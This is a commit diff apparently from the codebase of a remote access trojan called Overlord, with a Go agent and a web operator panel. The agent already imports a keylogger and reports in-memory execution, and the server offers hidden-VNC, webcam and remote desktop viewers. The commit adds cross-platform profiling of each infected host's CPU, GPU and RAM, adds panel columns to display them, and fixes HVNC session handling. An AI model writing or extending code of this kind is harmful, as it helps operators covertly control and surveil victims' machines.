fix remote desktop and hvnc issue and add cpu, gpu and ram info to purgatory
This commit is contained in:
@@ -25,6 +25,7 @@ import (
|
|||||||
"overlord-client/cmd/agent/keylogger"
|
"overlord-client/cmd/agent/keylogger"
|
||||||
"overlord-client/cmd/agent/plugins"
|
"overlord-client/cmd/agent/plugins"
|
||||||
rt "overlord-client/cmd/agent/runtime"
|
rt "overlord-client/cmd/agent/runtime"
|
||||||
|
"overlord-client/cmd/agent/sysinfo"
|
||||||
"overlord-client/cmd/agent/wire"
|
"overlord-client/cmd/agent/wire"
|
||||||
|
|
||||||
"nhooyr.io/websocket"
|
"nhooyr.io/websocket"
|
||||||
@@ -504,6 +505,11 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
|
|||||||
InMemory: isRunningInMemory(),
|
InMemory: isRunningInMemory(),
|
||||||
}
|
}
|
||||||
|
|
||||||
|
hw := sysinfo.Collect()
|
||||||
|
hello.CPU = hw.CPU
|
||||||
|
hello.GPU = hw.GPU
|
||||||
|
hello.RAM = hw.RAM
|
||||||
|
|
||||||
if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
|
if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
|
||||||
return fmt.Errorf("send hello: %w", err)
|
return fmt.Errorf("send hello: %w", err)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,11 @@
|
|||||||
|
package sysinfo
|
||||||
|
|
||||||
|
type Info struct {
|
||||||
|
CPU string `json:"cpu,omitempty"`
|
||||||
|
GPU string `json:"gpu,omitempty"`
|
||||||
|
RAM string `json:"ram,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func Collect() Info {
|
||||||
|
return collectPlatform()
|
||||||
|
}
|
||||||
@@ -0,0 +1,45 @@
|
|||||||
|
//go:build darwin
|
||||||
|
|
||||||
|
package sysinfo
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
"unsafe"
|
||||||
|
|
||||||
|
"golang.org/x/sys/unix"
|
||||||
|
)
|
||||||
|
|
||||||
|
func collectPlatform() Info {
|
||||||
|
return Info{
|
||||||
|
CPU: cpuName(),
|
||||||
|
GPU: gpuName(),
|
||||||
|
RAM: totalRAM(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func cpuName() string {
|
||||||
|
name, err := unix.Sysctl("machdep.cpu.brand_string")
|
||||||
|
if err != nil || name == "" {
|
||||||
|
return "unknown"
|
||||||
|
}
|
||||||
|
return strings.TrimSpace(name)
|
||||||
|
}
|
||||||
|
|
||||||
|
func gpuName() string {
|
||||||
|
return "unknown"
|
||||||
|
}
|
||||||
|
|
||||||
|
func totalRAM() string {
|
||||||
|
mem, err := unix.SysctlRaw("hw.memsize")
|
||||||
|
if err != nil || len(mem) < 8 {
|
||||||
|
return "unknown"
|
||||||
|
}
|
||||||
|
total := *(*uint64)(unsafe.Pointer(&mem[0]))
|
||||||
|
gb := float64(total) / (1024 * 1024 * 1024)
|
||||||
|
if gb >= 1 {
|
||||||
|
return fmt.Sprintf("%.0f GB", gb)
|
||||||
|
}
|
||||||
|
mb := float64(total) / (1024 * 1024)
|
||||||
|
return fmt.Sprintf("%.0f MB", mb)
|
||||||
|
}
|
||||||
@@ -0,0 +1,99 @@
|
|||||||
|
//go:build linux
|
||||||
|
|
||||||
|
package sysinfo
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
func collectPlatform() Info {
|
||||||
|
return Info{
|
||||||
|
CPU: cpuName(),
|
||||||
|
GPU: gpuName(),
|
||||||
|
RAM: totalRAM(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func cpuName() string {
|
||||||
|
data, err := os.ReadFile("/proc/cpuinfo")
|
||||||
|
if err != nil {
|
||||||
|
return "unknown"
|
||||||
|
}
|
||||||
|
for _, line := range strings.Split(string(data), "\n") {
|
||||||
|
if strings.HasPrefix(line, "model name") {
|
||||||
|
parts := strings.SplitN(line, ":", 2)
|
||||||
|
if len(parts) == 2 {
|
||||||
|
return strings.TrimSpace(parts[1])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return "unknown"
|
||||||
|
}
|
||||||
|
|
||||||
|
func gpuName() string {
|
||||||
|
entries, err := os.ReadDir("/sys/class/drm")
|
||||||
|
if err != nil {
|
||||||
|
return "unknown"
|
||||||
|
}
|
||||||
|
var gpus []string
|
||||||
|
seen := map[string]bool{}
|
||||||
|
for _, e := range entries {
|
||||||
|
if !strings.HasPrefix(e.Name(), "card") || strings.Contains(e.Name(), "-") {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
labelPath := "/sys/class/drm/" + e.Name() + "/device/label"
|
||||||
|
if data, err := os.ReadFile(labelPath); err == nil {
|
||||||
|
name := strings.TrimSpace(string(data))
|
||||||
|
if name != "" && !seen[name] {
|
||||||
|
seen[name] = true
|
||||||
|
gpus = append(gpus, name)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ueventPath := "/sys/class/drm/" + e.Name() + "/device/uevent"
|
||||||
|
if data, err := os.ReadFile(ueventPath); err == nil {
|
||||||
|
for _, line := range strings.Split(string(data), "\n") {
|
||||||
|
if strings.HasPrefix(line, "DRIVER=") {
|
||||||
|
drv := strings.TrimPrefix(line, "DRIVER=")
|
||||||
|
if drv != "" && !seen[drv] {
|
||||||
|
seen[drv] = true
|
||||||
|
gpus = append(gpus, drv)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if len(gpus) == 0 {
|
||||||
|
return "unknown"
|
||||||
|
}
|
||||||
|
return strings.Join(gpus, ", ")
|
||||||
|
}
|
||||||
|
|
||||||
|
func totalRAM() string {
|
||||||
|
data, err := os.ReadFile("/proc/meminfo")
|
||||||
|
if err != nil {
|
||||||
|
return "unknown"
|
||||||
|
}
|
||||||
|
for _, line := range strings.Split(string(data), "\n") {
|
||||||
|
if strings.HasPrefix(line, "MemTotal:") {
|
||||||
|
fields := strings.Fields(line)
|
||||||
|
if len(fields) >= 2 {
|
||||||
|
var kb uint64
|
||||||
|
_, err := fmt.Sscanf(fields[1], "%d", &kb)
|
||||||
|
if err != nil {
|
||||||
|
return "unknown"
|
||||||
|
}
|
||||||
|
gb := float64(kb) / (1024 * 1024)
|
||||||
|
if gb >= 1 {
|
||||||
|
return fmt.Sprintf("%.0f GB", gb)
|
||||||
|
}
|
||||||
|
mb := float64(kb) / 1024
|
||||||
|
return fmt.Sprintf("%.0f MB", mb)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return "unknown"
|
||||||
|
}
|
||||||
@@ -0,0 +1,114 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package sysinfo
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"strings"
|
||||||
|
"unsafe"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
"golang.org/x/sys/windows/registry"
|
||||||
|
)
|
||||||
|
|
||||||
|
func collectPlatform() Info {
|
||||||
|
return Info{
|
||||||
|
CPU: cpuName(),
|
||||||
|
GPU: gpuName(),
|
||||||
|
RAM: totalRAM(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func cpuName() string {
|
||||||
|
k, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||||
|
`HARDWARE\DESCRIPTION\System\CentralProcessor\0`, registry.QUERY_VALUE)
|
||||||
|
if err != nil {
|
||||||
|
return "unknown"
|
||||||
|
}
|
||||||
|
defer k.Close()
|
||||||
|
name, _, err := k.GetStringValue("ProcessorNameString")
|
||||||
|
if err != nil {
|
||||||
|
return "unknown"
|
||||||
|
}
|
||||||
|
return strings.TrimSpace(name)
|
||||||
|
}
|
||||||
|
|
||||||
|
func gpuName() string {
|
||||||
|
basePath := `SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}`
|
||||||
|
k, err := registry.OpenKey(registry.LOCAL_MACHINE, basePath, registry.ENUMERATE_SUB_KEYS)
|
||||||
|
if err != nil {
|
||||||
|
return "unknown"
|
||||||
|
}
|
||||||
|
defer k.Close()
|
||||||
|
|
||||||
|
subkeys, err := k.ReadSubKeyNames(-1)
|
||||||
|
if err != nil {
|
||||||
|
return "unknown"
|
||||||
|
}
|
||||||
|
|
||||||
|
var gpus []string
|
||||||
|
for _, sub := range subkeys {
|
||||||
|
if len(sub) != 4 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
allDigits := true
|
||||||
|
for _, c := range sub {
|
||||||
|
if c < '0' || c > '9' {
|
||||||
|
allDigits = false
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if !allDigits {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
sk, err := registry.OpenKey(registry.LOCAL_MACHINE,
|
||||||
|
basePath+`\`+sub, registry.QUERY_VALUE)
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
desc, _, err := sk.GetStringValue("DriverDesc")
|
||||||
|
sk.Close()
|
||||||
|
if err != nil || desc == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
gpus = append(gpus, strings.TrimSpace(desc))
|
||||||
|
}
|
||||||
|
|
||||||
|
if len(gpus) == 0 {
|
||||||
|
return "unknown"
|
||||||
|
}
|
||||||
|
return strings.Join(gpus, ", ")
|
||||||
|
}
|
||||||
|
|
||||||
|
func totalRAM() string {
|
||||||
|
type memoryStatusEx struct {
|
||||||
|
Length uint32
|
||||||
|
MemoryLoad uint32
|
||||||
|
TotalPhys uint64
|
||||||
|
AvailPhys uint64
|
||||||
|
TotalPageFile uint64
|
||||||
|
AvailPageFile uint64
|
||||||
|
TotalVirtual uint64
|
||||||
|
AvailVirtual uint64
|
||||||
|
AvailExtendedVirtual uint64
|
||||||
|
}
|
||||||
|
|
||||||
|
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
|
||||||
|
globalMemoryStatusEx := kernel32.NewProc("GlobalMemoryStatusEx")
|
||||||
|
|
||||||
|
var ms memoryStatusEx
|
||||||
|
ms.Length = uint32(unsafe.Sizeof(ms))
|
||||||
|
|
||||||
|
ret, _, _ := globalMemoryStatusEx.Call(uintptr(unsafe.Pointer(&ms)))
|
||||||
|
if ret == 0 {
|
||||||
|
return "unknown"
|
||||||
|
}
|
||||||
|
|
||||||
|
gb := float64(ms.TotalPhys) / (1024 * 1024 * 1024)
|
||||||
|
if gb >= 1 {
|
||||||
|
return fmt.Sprintf("%.0f GB", gb)
|
||||||
|
}
|
||||||
|
mb := float64(ms.TotalPhys) / (1024 * 1024)
|
||||||
|
return fmt.Sprintf("%.0f MB", mb)
|
||||||
|
}
|
||||||
@@ -16,6 +16,9 @@ type Hello struct {
|
|||||||
PublicKey string `msgpack:"publicKey,omitempty"`
|
PublicKey string `msgpack:"publicKey,omitempty"`
|
||||||
Signature string `msgpack:"signature,omitempty"`
|
Signature string `msgpack:"signature,omitempty"`
|
||||||
InMemory bool `msgpack:"inMemory,omitempty"`
|
InMemory bool `msgpack:"inMemory,omitempty"`
|
||||||
|
CPU string `msgpack:"cpu,omitempty"`
|
||||||
|
GPU string `msgpack:"gpu,omitempty"`
|
||||||
|
RAM string `msgpack:"ram,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
type EnrollmentChallenge struct {
|
type EnrollmentChallenge struct {
|
||||||
|
|||||||
@@ -29,6 +29,7 @@ const banModalBackdrop = document.getElementById("ban-modal-backdrop");
|
|||||||
let currentFilter = "pending";
|
let currentFilter = "pending";
|
||||||
let searchQuery = "";
|
let searchQuery = "";
|
||||||
let clients = [];
|
let clients = [];
|
||||||
|
const expandedCells = new Set(); // tracks "clientId:field" keys
|
||||||
|
|
||||||
// ── API helpers ────────────────────────────────────────────────────
|
// ── API helpers ────────────────────────────────────────────────────
|
||||||
async function api(path, opts = {}) {
|
async function api(path, opts = {}) {
|
||||||
@@ -82,7 +83,7 @@ async function loadClients() {
|
|||||||
const q = searchQuery.toLowerCase().trim();
|
const q = searchQuery.toLowerCase().trim();
|
||||||
const filtered = q
|
const filtered = q
|
||||||
? clients.filter((c) => {
|
? clients.filter((c) => {
|
||||||
const fields = [c.host, c.user, c.ip, c.id, c.os, c.country, c.keyFingerprint];
|
const fields = [c.host, c.user, c.ip, c.id, c.os, c.country, c.keyFingerprint, c.cpu, c.gpu, c.ram];
|
||||||
return fields.some((f) => f && String(f).toLowerCase().includes(q));
|
return fields.some((f) => f && String(f).toLowerCase().includes(q));
|
||||||
})
|
})
|
||||||
: clients;
|
: clients;
|
||||||
@@ -108,12 +109,15 @@ async function loadClients() {
|
|||||||
<td class="px-4 py-3 text-sm font-medium text-slate-200">${esc(c.host || c.id)}</td>
|
<td class="px-4 py-3 text-sm font-medium text-slate-200">${esc(c.host || c.id)}</td>
|
||||||
<td class="px-4 py-3 text-sm text-slate-400">${esc(c.user || "-")}</td>
|
<td class="px-4 py-3 text-sm text-slate-400">${esc(c.user || "-")}</td>
|
||||||
<td class="px-4 py-3 text-sm text-slate-400">${esc(c.os || "-")}</td>
|
<td class="px-4 py-3 text-sm text-slate-400">${esc(c.os || "-")}</td>
|
||||||
|
<td class="px-4 py-3 text-sm text-slate-400">${expandableCell(c.id, "cpu", c.cpu)}</td>
|
||||||
|
<td class="px-4 py-3 text-sm text-slate-400">${expandableCell(c.id, "gpu", c.gpu)}</td>
|
||||||
|
<td class="px-4 py-3 text-sm text-slate-400">${esc(c.ram || "-")}</td>
|
||||||
<td class="px-4 py-3 text-sm text-slate-400">${esc(c.ip || "-")}</td>
|
<td class="px-4 py-3 text-sm text-slate-400">${esc(c.ip || "-")}</td>
|
||||||
<td class="px-4 py-3 text-sm text-slate-400">${esc(c.country || "-")}</td>
|
<td class="px-4 py-3 text-sm text-slate-400">${esc(c.country || "-")}</td>
|
||||||
<td class="px-4 py-3 text-sm text-slate-500 font-mono">${esc(fp)}</td>
|
<td class="px-4 py-3 text-sm text-slate-500 font-mono">${esc(fp)}</td>
|
||||||
<td class="px-4 py-3 text-sm text-slate-500">${lastSeen}</td>
|
<td class="px-4 py-3 text-sm text-slate-500">${lastSeen}</td>
|
||||||
<td class="px-4 py-3">${statusPill}</td>
|
<td class="px-4 py-3">${statusPill}</td>
|
||||||
<td class="px-4 py-3 text-right space-x-2">${actionButtons(c)}</td>
|
<td class="px-4 py-3"><div class="flex items-center justify-end gap-2 flex-nowrap">${actionButtons(c)}</div></td>
|
||||||
`;
|
`;
|
||||||
body.appendChild(tr);
|
body.appendChild(tr);
|
||||||
}
|
}
|
||||||
@@ -136,16 +140,16 @@ function actionButtons(c) {
|
|||||||
const status = c.enrollmentStatus || "pending";
|
const status = c.enrollmentStatus || "pending";
|
||||||
let html = "";
|
let html = "";
|
||||||
if (status !== "approved") {
|
if (status !== "approved") {
|
||||||
html += `<button class="act-approve px-2 py-1 rounded text-xs font-medium bg-emerald-600 hover:bg-emerald-700 text-white" data-id="${esc(c.id)}"><i class="fa-solid fa-check mr-1"></i>Approve</button>`;
|
html += `<button class="act-approve whitespace-nowrap px-2 py-1 rounded text-xs font-medium bg-emerald-600 hover:bg-emerald-700 text-white" data-id="${esc(c.id)}"><i class="fa-solid fa-check mr-1"></i>Approve</button>`;
|
||||||
}
|
}
|
||||||
if (status !== "denied") {
|
if (status !== "denied") {
|
||||||
html += `<button class="act-deny px-2 py-1 rounded text-xs font-medium bg-red-600 hover:bg-red-700 text-white" data-id="${esc(c.id)}"><i class="fa-solid fa-ban mr-1"></i>Deny</button>`;
|
html += `<button class="act-deny whitespace-nowrap px-2 py-1 rounded text-xs font-medium bg-red-600 hover:bg-red-700 text-white" data-id="${esc(c.id)}"><i class="fa-solid fa-ban mr-1"></i>Deny</button>`;
|
||||||
}
|
}
|
||||||
if (status !== "pending") {
|
if (status !== "pending") {
|
||||||
html += `<button class="act-reset px-2 py-1 rounded text-xs font-medium bg-slate-600 hover:bg-slate-700 text-white" data-id="${esc(c.id)}"><i class="fa-solid fa-rotate-left mr-1"></i>Reset</button>`;
|
html += `<button class="act-reset whitespace-nowrap px-2 py-1 rounded text-xs font-medium bg-slate-600 hover:bg-slate-700 text-white" data-id="${esc(c.id)}"><i class="fa-solid fa-rotate-left mr-1"></i>Reset</button>`;
|
||||||
}
|
}
|
||||||
if (c.ip) {
|
if (c.ip) {
|
||||||
html += `<button class="act-ban-ip px-2 py-1 rounded text-xs font-medium bg-rose-700 hover:bg-rose-800 text-white" data-id="${esc(c.id)}" title="Ban IP ${esc(c.ip)}"><i class="fa-solid fa-shield-halved mr-1"></i>Ban IP</button>`;
|
html += `<button class="act-ban-ip whitespace-nowrap px-2 py-1 rounded text-xs font-medium bg-rose-700 hover:bg-rose-800 text-white" data-id="${esc(c.id)}" title="Ban IP ${esc(c.ip)}"><i class="fa-solid fa-shield-halved mr-1"></i>Ban IP</button>`;
|
||||||
}
|
}
|
||||||
return html;
|
return html;
|
||||||
}
|
}
|
||||||
@@ -156,6 +160,21 @@ function esc(s) {
|
|||||||
return d.innerHTML;
|
return d.innerHTML;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function expandableCell(clientId, field, value) {
|
||||||
|
const text = value || "-";
|
||||||
|
if (text === "-" || text.length <= 24) {
|
||||||
|
return `<span>${esc(text)}</span>`;
|
||||||
|
}
|
||||||
|
const key = `${clientId}:${field}`;
|
||||||
|
const isOpen = expandedCells.has(key);
|
||||||
|
const short = text.substring(0, 22) + "…";
|
||||||
|
return `<span class="hw-expand cursor-pointer select-none" data-expand-key="${esc(key)}" data-expanded="${isOpen ? "1" : "0"}">` +
|
||||||
|
`<span class="hw-short${isOpen ? " hidden" : ""}">${esc(short)}</span>` +
|
||||||
|
`<span class="hw-full${isOpen ? "" : " hidden"}">${esc(text)}</span>` +
|
||||||
|
`<i class="fa-solid fa-chevron-down text-[10px] ml-1 text-slate-500 transition-transform hw-chevron" style="${isOpen ? "transform:rotate(180deg)" : ""}"></i>` +
|
||||||
|
`</span>`;
|
||||||
|
}
|
||||||
|
|
||||||
function timeAgo(ts) {
|
function timeAgo(ts) {
|
||||||
const diff = Date.now() - ts;
|
const diff = Date.now() - ts;
|
||||||
if (diff < 60000) return "just now";
|
if (diff < 60000) return "just now";
|
||||||
@@ -236,6 +255,20 @@ document.querySelectorAll(".enrollment-tab").forEach((tab) => {
|
|||||||
|
|
||||||
// ── Table delegation ───────────────────────────────────────────────
|
// ── Table delegation ───────────────────────────────────────────────
|
||||||
body.addEventListener("click", (e) => {
|
body.addEventListener("click", (e) => {
|
||||||
|
// Expandable CPU/GPU cells
|
||||||
|
const expander = e.target.closest(".hw-expand");
|
||||||
|
if (expander) {
|
||||||
|
const isOpen = expander.dataset.expanded === "1";
|
||||||
|
const key = expander.dataset.expandKey;
|
||||||
|
expander.dataset.expanded = isOpen ? "0" : "1";
|
||||||
|
if (isOpen) expandedCells.delete(key); else expandedCells.add(key);
|
||||||
|
expander.querySelector(".hw-short").classList.toggle("hidden", !isOpen);
|
||||||
|
expander.querySelector(".hw-full").classList.toggle("hidden", isOpen);
|
||||||
|
const chevron = expander.querySelector(".hw-chevron");
|
||||||
|
if (chevron) chevron.style.transform = isOpen ? "" : "rotate(180deg)";
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
const btn = e.target.closest("button");
|
const btn = e.target.closest("button");
|
||||||
if (!btn) return;
|
if (!btn) return;
|
||||||
const id = btn.dataset.id;
|
const id = btn.dataset.id;
|
||||||
|
|||||||
@@ -80,8 +80,8 @@
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
<!-- Clients Table -->
|
<!-- Clients Table -->
|
||||||
<div class="bg-slate-900/50 border border-slate-800 rounded-xl overflow-hidden">
|
<div class="bg-slate-900/50 border border-slate-800 rounded-xl overflow-x-auto">
|
||||||
<table class="w-full" id="enrollment-table">
|
<table class="w-full min-w-[1200px]" id="enrollment-table">
|
||||||
<thead class="bg-slate-800/50 border-b border-slate-700">
|
<thead class="bg-slate-800/50 border-b border-slate-700">
|
||||||
<tr>
|
<tr>
|
||||||
<th class="w-10 px-4 py-3">
|
<th class="w-10 px-4 py-3">
|
||||||
@@ -90,6 +90,9 @@
|
|||||||
<th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">Host</th>
|
<th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">Host</th>
|
||||||
<th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">User</th>
|
<th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">User</th>
|
||||||
<th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">OS</th>
|
<th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">OS</th>
|
||||||
|
<th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">CPU</th>
|
||||||
|
<th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">GPU</th>
|
||||||
|
<th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">RAM</th>
|
||||||
<th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">IP</th>
|
<th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">IP</th>
|
||||||
<th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">Country</th>
|
<th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">Country</th>
|
||||||
<th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">Key Fingerprint</th>
|
<th class="text-left px-4 py-3 text-sm font-semibold text-slate-300">Key Fingerprint</th>
|
||||||
@@ -100,7 +103,7 @@
|
|||||||
</thead>
|
</thead>
|
||||||
<tbody id="enrollment-body" class="divide-y divide-slate-800">
|
<tbody id="enrollment-body" class="divide-y divide-slate-800">
|
||||||
<tr id="enrollment-loading">
|
<tr id="enrollment-loading">
|
||||||
<td colspan="10" class="px-6 py-12 text-center text-slate-500">
|
<td colspan="13" class="px-6 py-12 text-center text-slate-500">
|
||||||
<i class="fa-solid fa-spinner fa-spin mr-2"></i>Loading...
|
<i class="fa-solid fa-spinner fa-spin mr-2"></i>Loading...
|
||||||
</td>
|
</td>
|
||||||
</tr>
|
</tr>
|
||||||
|
|||||||
@@ -67,6 +67,15 @@ try {
|
|||||||
try {
|
try {
|
||||||
db.run(`ALTER TABLE clients ADD COLUMN enrolled_by TEXT`);
|
db.run(`ALTER TABLE clients ADD COLUMN enrolled_by TEXT`);
|
||||||
} catch {}
|
} catch {}
|
||||||
|
try {
|
||||||
|
db.run(`ALTER TABLE clients ADD COLUMN cpu TEXT`);
|
||||||
|
} catch {}
|
||||||
|
try {
|
||||||
|
db.run(`ALTER TABLE clients ADD COLUMN gpu TEXT`);
|
||||||
|
} catch {}
|
||||||
|
try {
|
||||||
|
db.run(`ALTER TABLE clients ADD COLUMN ram TEXT`);
|
||||||
|
} catch {}
|
||||||
db.run(
|
db.run(
|
||||||
`CREATE INDEX IF NOT EXISTS idx_clients_public_key ON clients(public_key);`,
|
`CREATE INDEX IF NOT EXISTS idx_clients_public_key ON clients(public_key);`,
|
||||||
);
|
);
|
||||||
@@ -232,8 +241,8 @@ export function upsertClientRow(
|
|||||||
) {
|
) {
|
||||||
const now = partial.lastSeen ?? Date.now();
|
const now = partial.lastSeen ?? Date.now();
|
||||||
db.run(
|
db.run(
|
||||||
`INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms, enrollment_status, public_key, key_fingerprint)
|
`INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms, enrollment_status, public_key, key_fingerprint, cpu, gpu, ram)
|
||||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
||||||
ON CONFLICT(id) DO UPDATE SET
|
ON CONFLICT(id) DO UPDATE SET
|
||||||
hwid=COALESCE(excluded.hwid, clients.hwid),
|
hwid=COALESCE(excluded.hwid, clients.hwid),
|
||||||
role=COALESCE(excluded.role, clients.role),
|
role=COALESCE(excluded.role, clients.role),
|
||||||
@@ -253,7 +262,10 @@ export function upsertClientRow(
|
|||||||
ping_ms=COALESCE(excluded.ping_ms, clients.ping_ms),
|
ping_ms=COALESCE(excluded.ping_ms, clients.ping_ms),
|
||||||
enrollment_status=CASE WHEN excluded.enrollment_status <> 'pending' THEN excluded.enrollment_status ELSE clients.enrollment_status END,
|
enrollment_status=CASE WHEN excluded.enrollment_status <> 'pending' THEN excluded.enrollment_status ELSE clients.enrollment_status END,
|
||||||
public_key=COALESCE(excluded.public_key, clients.public_key),
|
public_key=COALESCE(excluded.public_key, clients.public_key),
|
||||||
key_fingerprint=COALESCE(excluded.key_fingerprint, clients.key_fingerprint)
|
key_fingerprint=COALESCE(excluded.key_fingerprint, clients.key_fingerprint),
|
||||||
|
cpu=COALESCE(excluded.cpu, clients.cpu),
|
||||||
|
gpu=COALESCE(excluded.gpu, clients.gpu),
|
||||||
|
ram=COALESCE(excluded.ram, clients.ram)
|
||||||
`,
|
`,
|
||||||
partial.id,
|
partial.id,
|
||||||
partial.hwid ?? partial.id,
|
partial.hwid ?? partial.id,
|
||||||
@@ -275,6 +287,9 @@ export function upsertClientRow(
|
|||||||
partial.enrollmentStatus ?? "pending",
|
partial.enrollmentStatus ?? "pending",
|
||||||
partial.publicKey ?? null,
|
partial.publicKey ?? null,
|
||||||
partial.keyFingerprint ?? null,
|
partial.keyFingerprint ?? null,
|
||||||
|
partial.cpu ?? null,
|
||||||
|
partial.gpu ?? null,
|
||||||
|
partial.ram ?? null,
|
||||||
);
|
);
|
||||||
|
|
||||||
if (partial.hwid) {
|
if (partial.hwid) {
|
||||||
@@ -519,7 +534,7 @@ export function listClients(filters: ListFilters): ListResult {
|
|||||||
|
|
||||||
const rows = db
|
const rows = db
|
||||||
.query<any>(
|
.query<any>(
|
||||||
`SELECT id, hwid, role, host, os, arch, version, user, nickname, custom_tag as customTag, custom_tag_note as customTagNote, monitors, country, last_seen as lastSeen, online, ping_ms as pingMs, bookmarked, enrollment_status as enrollmentStatus, public_key as publicKey, key_fingerprint as keyFingerprint
|
`SELECT id, hwid, role, host, os, arch, version, user, nickname, custom_tag as customTag, custom_tag_note as customTagNote, monitors, country, last_seen as lastSeen, online, ping_ms as pingMs, bookmarked, enrollment_status as enrollmentStatus, public_key as publicKey, key_fingerprint as keyFingerprint, cpu, gpu, ram
|
||||||
FROM clients
|
FROM clients
|
||||||
${whereSql}
|
${whereSql}
|
||||||
${orderBy}
|
${orderBy}
|
||||||
@@ -548,6 +563,9 @@ export function listClients(filters: ListFilters): ListResult {
|
|||||||
enrollmentStatus: c.enrollmentStatus || "pending",
|
enrollmentStatus: c.enrollmentStatus || "pending",
|
||||||
publicKey: c.publicKey || null,
|
publicKey: c.publicKey || null,
|
||||||
keyFingerprint: c.keyFingerprint || null,
|
keyFingerprint: c.keyFingerprint || null,
|
||||||
|
cpu: c.cpu || null,
|
||||||
|
gpu: c.gpu || null,
|
||||||
|
ram: c.ram || null,
|
||||||
thumbnail: getThumbnail(c.id),
|
thumbnail: getThumbnail(c.id),
|
||||||
}));
|
}));
|
||||||
|
|
||||||
|
|||||||
@@ -293,6 +293,9 @@ export async function handleWebSocketMessage(
|
|||||||
version: (payload as any).version || undefined,
|
version: (payload as any).version || undefined,
|
||||||
user: (payload as any).user || undefined,
|
user: (payload as any).user || undefined,
|
||||||
monitors: (payload as any).monitors || undefined,
|
monitors: (payload as any).monitors || undefined,
|
||||||
|
cpu: (payload as any).cpu || undefined,
|
||||||
|
gpu: (payload as any).gpu || undefined,
|
||||||
|
ram: (payload as any).ram || undefined,
|
||||||
country,
|
country,
|
||||||
lastSeen: Date.now(),
|
lastSeen: Date.now(),
|
||||||
online: 0 as any,
|
online: 0 as any,
|
||||||
|
|||||||
@@ -268,6 +268,7 @@ export function handleConsoleViewerOpen(ws: ServerWebSocket<SocketData>) {
|
|||||||
export function handleRemoteDesktopViewerOpen(ws: ServerWebSocket<SocketData>) {
|
export function handleRemoteDesktopViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||||
const { clientId } = ws.data;
|
const { clientId } = ws.data;
|
||||||
const sessionId = uuidv4();
|
const sessionId = uuidv4();
|
||||||
|
ws.data.sessionId = sessionId;
|
||||||
const target = clientManager.getClient(clientId);
|
const target = clientManager.getClient(clientId);
|
||||||
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
||||||
sessionManager.addRdSession(session);
|
sessionManager.addRdSession(session);
|
||||||
@@ -610,6 +611,7 @@ export function handleWebcamViewerMessage(ws: ServerWebSocket<SocketData>, raw:
|
|||||||
export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
|
export function handleHVNCViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||||
const { clientId } = ws.data;
|
const { clientId } = ws.data;
|
||||||
const sessionId = uuidv4();
|
const sessionId = uuidv4();
|
||||||
|
ws.data.sessionId = sessionId;
|
||||||
const target = clientManager.getClient(clientId);
|
const target = clientManager.getClient(clientId);
|
||||||
const session: RemoteDesktopViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
